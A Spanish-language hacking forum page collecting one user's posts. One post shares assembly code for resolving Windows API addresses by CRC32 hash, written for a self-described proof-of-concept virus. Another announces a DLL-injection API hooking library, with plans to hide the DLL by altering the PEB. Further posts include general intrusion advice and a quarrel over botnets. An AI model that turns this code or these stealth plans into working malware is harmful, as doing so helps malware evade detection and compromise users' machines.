Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - nts94

#11
OK, acabo de solucionarlo:

-> Por un lado, debe de haber algun bug/incompatibilidad con el Stealth64 del OllyDbg en Win7,  ya que el Olly del XP no tenía plugins y iba, y al desactivarlo también va en Win7

-> Por el otro, había un pequeño bug en otra parte de mi código que no preservaba el antiguo EDI, y entonces FindNextFileA lo usaba después de haber sido liberado (y por eso tampoco iba fuera del Olly) (en XP SEH me salvaba) XD

En fín, muchas gracias de todas formas.

PD: por cierto, si quereis hacer uso del código o teneis alguna pregunta, no dudeis en postear (pa eso estamos,no?) :)
#12
Hola a todos, estoy haciendo un pequeño virus (sin ánimo de soltarlo, claro, solo como POC) y tras mucho debuggear con el Olly resulta que me lanza una ACCESS_VIOLATION tras llamar a LoadLibraryA en una función que realiza el mismo trabajo que GetProcAddress pero pasándole en su lugar un CRC32, alguien puede ayudarme? Las pruebas las he hecho en un Win 7 x64. Aquí adjunto el código de la función:


@@get_proc:
; [OnEntry]
; edx => crc32
; ebx => hModule
; [OnExit]
; eax => lpfnApi / NULL (OnError)
assume ebx:ptr IMAGE_DOS_HEADER
push edi
push esi
 push ebp
  mov edi,ebx
  add edi,[ebx].e_lfanew
  assume edi:ptr IMAGE_NT_HEADERS
  mov edi,[edi].OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
  add edi,ebx
   assume edi:ptr IMAGE_EXPORT_DIRECTORY
   xor ecx,ecx
   mov esi,[edi].AddressOfNames
   add esi,ebx
   mov ebp,[edi].NumberOfNames
    @@apiname_loop:
     lodsd
     add eax,ebx
     xchg eax,esi
     push eax ; save AddressOfNames
      push ecx
       call @@strlen
       xchg eax,ecx
       push edx
        call @@crc32
       pop edx
      pop ecx
     pop esi
     cmp eax,edx
     jnz @@not_api_hash
      mov esi,[edi].AddressOfNameOrdinals
      add esi,ebx
      shl ecx,1h
      add esi,ecx
      movzx ecx,word ptr [esi]
      shl ecx,2h
      mov esi,[edi].AddressOfFunctions
      add esi,ebx
      add esi,ecx
      mov eax,dword ptr [esi]
      ; code here to check whether we are being forwarded (does the RVA fall into the .edata?)
      mov ebp,ebx
      add ebp,[ebx].e_lfanew
      assume ebp:ptr IMAGE_NT_HEADERS
      mov ecx,[ebp].OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress ; thanks to Matt Pietrek
      cmp eax,ecx
       jb @@not_forwarded
      add ecx,[ebp].OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].isize
      cmp eax,ecx
       ja @@not_forwarded
      @@get_forwarded:
        pop ebp
         add eax,ebx
         xchg esi,eax
         call @@strlen
         push ecx
         push GMEM_FIXED
         call dword ptr [ebp + delta(f_globalalloc)]
         xchg eax,edi
         push edi ; there could be a bug: if someone makes a fwd api without a dot, the host will crash
         @@:
           lodsb
           stosb
           cmp al,'.'
           jne @@not_dot
            mov eax,'lld'
            stosd
      jmp @@match_dot  
         @@not_dot:
         loop @B
         @@match_dot:
         call dword ptr [ebp + delta(f_loadlibrary)] ; I know the program won't be able to free the library (i don't know yet how ms loader does it)
         push esi
         push eax
         call dword ptr [ebp + delta(f_getprocaddress)]
         push eax
          push edi
          call dword ptr [ebp + delta(f_globalfree)]
         pop eax
         jmp @@fwd_api_found
      @@not_forwarded:
      add eax,ebx
      jmp @@api_found
     @@not_api_hash:
     inc ecx
     cmp ecx,ebp ; I need ecx as a counter
     jbe @@apiname_loop
 @@not_found:
   xor eax,eax
 @@api_found:
   pop ebp
 @@fwd_api_found:
pop esi
  pop edi
  ret




@@strlen:
; [OnEntry]
; esi => [StringA]
; [OnExit]
; eax => Length
xchg esi,edi
xor eax,eax
xor ecx,ecx
dec ecx
push edi
repnz scasb
pop edi
inc ecx
not ecx
xchg eax,ecx
xchg esi,edi
ret


.const
POLYNOM equ 0edb88320h
.code
@@crc32:
; [OnEntry]
; esi => [Mem]
; ecx => count
; [OnExit]
; eax => crc32
xor edx,edx
dec edx
@@crc_loop:
mov eax,edx
and eax,0ffh
xor al,byte ptr [esi]
push ecx
 mov ecx,8h
 @@:
 test al,1h
 jz @@bit_not_set
  shr eax,1h
  xor eax,POLYNOM
  jmp @@bit_continue
 @@bit_not_set:
  shr eax,1h
 @@bit_continue:
 loop @B
pop ecx
inc esi
shr edx,8h
xor edx,eax
loop @@crc_loop
xchg eax,edx
not eax
ret


Tras tracear un poco veo que las llamadas van así:

- LoadLibraryA -> LoadLibraryExA -> KernelBase.749B6DEF -> ntdll.RtlAnsiStringToUnicodeString -> ...



Les agradezco cualquier ayuda/opinión/orientación sobre el tema

PD: Acabo de comprobar que en XP funciona perfectamente, puede ser por algo relacionado con WOW32? O tal vez es por Win7?

Ah, y perdon por un tema/post tan largo, es que no quiero que falte nada de info
#13
Hacking / Re: Acceso sheel W7
14 Febrero 2012, 23:57 PM
Hola. En primer lugar, puede que yo no sea la persona más apropiada para responderte, pero creo que puedo encaminarte un poco:

1º Que seas "estudiante de modulo superior de administracion de sistemas" está muy bien, dice mucho de ti y tal, pero lammers los hay en todos los sitios

2º Para conseguir acceso _shell_, existen muchos métodos:
   - Ingenieria social
   - Exploits
   - Errores WEB
   - Fallas de configuración (compartición de archivos, permisos,...)
   - Passwords y fuerza bruta
   - Acceso físico (bueno, supongo que ese no tendría mucho mérito)
   - etc,...

3º En esto no hay una metodologia concreta... si es eso lo que buscas puede que esto te sirva:

-> http://isecom.securenetltd.com/OSSTMM.es.2.1.pdf
-> https://www.owasp.org/images/8/80/Guía_de_pruebas_de_OWASP_ver_3.0.pdf

4º Para hacer pruebas, te recomiendo que te instales en virtual (VMWare,...) http://www.damnvulnerablelinux.org/ (ahora esta remodelandose, busca en redes p2p), para practicar exploits contra windows cualquier version te vale... es broma, prueba uno con win XP y bajate aplicaciones vulnerables (mira en http://www.corelan.be/)

Bueno, espero haberte ayudado un poco
#14
Hacking / Win32 API Hooking
9 Febrero 2012, 23:54 PM
Hola a todos. Bueno, hace mucho que no me pasaba por el foro y puesto que la última  vez que lo hice solo provoque una extraña guerra relacionada con las BotNet's (BOTNETS sí, BOTNETS no) ;D he decidido compensar eso.

Bueno, aqui os traigo una implementacion MUY sencilla del tema del API hooking en Win32 (por lo que he leído, es parecida a la librería Detours de MS), pero esta bajo licencia GPL XD

Utiliza la técnica de la inyeccion DLL (en realidad la DLL debe inyectarse en el proceso que convenga) e inserta un FAR JMP al inicio de la API, por lo que afecta tambien a todo aquel proceso que se intente pasar de listo y llame a la API mediante GetProcAddress (al contrario que con la técnica del IAT).

Por el momento es facilmente detectable, pero tengo pensado:
--> Mejorar la forma en que se inyecta la DLL con GetThreadContext() y SetThreadContext() (en lugar de CreateRemoteThread())
--> Ocultar la DLL desde DllMain() modificando la PEB
--> Lo que se os ocurra XD

Código fuente: http://dl.dropbox.com/u/47594913/HookThemAll.rar

Como crear un rootkit by e0n: http://foro.elhacker.net/analisis_y_diseno_de_malware/querias_tutos_de_programacion_de_malware_pues_toma-t196251.0.html
Hooking HowTo: http://vx.netlux.org/29a/29a-7/Articles/29A-7.019

Nota: no sabía si ponerlo aqui, en el subforo de programacion en C, el de malware,...

Nota2: Acabo de leer la técnica VEH... brillante, aunque como todo, igualmente detectable (mediante VirtualQueryEx), menos conocida pero genial
#15
ASM / Re: Estructura de datos en NASM y/o MASM
11 Julio 2011, 13:26 PM
Has probado a usar addr en vez de offset?
#16
Hacking / ¿Aun os interesa?
3 Diciembre 2010, 00:06 AM
Miren, no sé si les interesa ya porque les veo enzarzados en una cruenta batalla  :xD  Bueno, por si acaso, (porque lo que importa es eso, la información), les puedo decir que en la misma web de oxid.it (donde se bajaron el Cain) hay disponibles una serie de tools interesantes: en concreto, sTerm permite establecer una sesión Telnet con IP Spooffeada en una LAN gracias al ARP (ambos conceptos van muy relacionados)

P.D: Les tengo que reconocer que no he leído el tema entero. ¿Que debería darme vergüenza contestar en un foro sin haberlo leído antes? La culpa es de quienes se dedican a llenar estos temas de posts simplemente ofensivos que no aportan nada (y ya es la segunda vez que me pasa)
#17
Hacking / Re: Creación de pc's zombies: botnets
26 Octubre 2010, 00:16 AM
Cita de: UB40 en 17 Octubre 2010, 21:02 PM
sobrino usted esta mal eh ... pero si usted quiere hacer una botnet pues aprenda a
programar usted mismo y no venga aca a que de verguenza ... no por el hecho de hacer una botnet sino por que esta diciendo cosas como que si alguien salio en noticias i se mato usted se mata tambien ... ????
men esta mal eh ..
le recomiendo que aprenda a programar  en c y c++
suerte.

Sin comentarios. No me gusta la gente que solo se dedica a repetir los que otros dicen; denota FALTA DE PERSONALIDAD.
#18
Vaya, veo que el temita ultimamente ha dado muxo de sí. Veamos, creo q este tema se llama "Creacion de pc's zombies: botnets" y no "Botnets si o Botnets no: el debate esta en la calle". Para empezar creo que nadie deberia intentar imponer sus creencias y su forma de actuar, y en caso de q alguien lo hiciera, hitler empezo asi (cuanto tiempo llevaba hitler sin salir por aki XD ). Si alguien no esta de acuerdo con este tema, q simplemente no intervenga. Para los demas, creo q seria justo q pudieran compartir sus conocimientos sin ningun tipo de represion.

Nota: Prometo que este sera el ultimo comentario que no tenga q ver estrictamente con el tema
#19
Cita de: Lord R.N.A. en  7 Julio 2010, 03:40 AM
Cita de: nts94 en  7 Julio 2010, 03:25 AM
Cita de: Lord R.N.A. en  7 Julio 2010, 03:20 AM
Soy especialista en programacion de malware y para mi botnet = "script-kiddies"... por eso el tema causa controversia, porque es algo que no deberia de existir. No encuentro la forma en la que alguien se siente que esta haciendo un logro al infectar otro equipo y hacer que un tercero pierda datos, eso aun no me cabe en la cabeza.

En ningún momento fue ese mi objetivo.

Entonces explicaste muy mal en la manera que hablabas al principio porque note que venias a pedir un programa o acceso a una botnet... incluso llamast juanker a los kickies que hicieron la botnet que quitaron con la operacion esa de nombre gay

Puede ser. No me paré a reflexionar pero no creo que la manera de algunos de decirlo haya sido la correcta. Gracias, todos tenemos que aprender de nuestros errores
#20
Cita de: Lord R.N.A. en  7 Julio 2010, 03:20 AM
Soy especialista en programacion de malware y para mi botnet = "script-kiddies"... por eso el tema causa controversia, porque es algo que no deberia de existir. No encuentro la forma en la que alguien se siente que esta haciendo un logro al infectar otro equipo y hacer que un tercero pierda datos, eso aun no me cabe en la cabeza.

En ningún momento fue ese mi objetivo.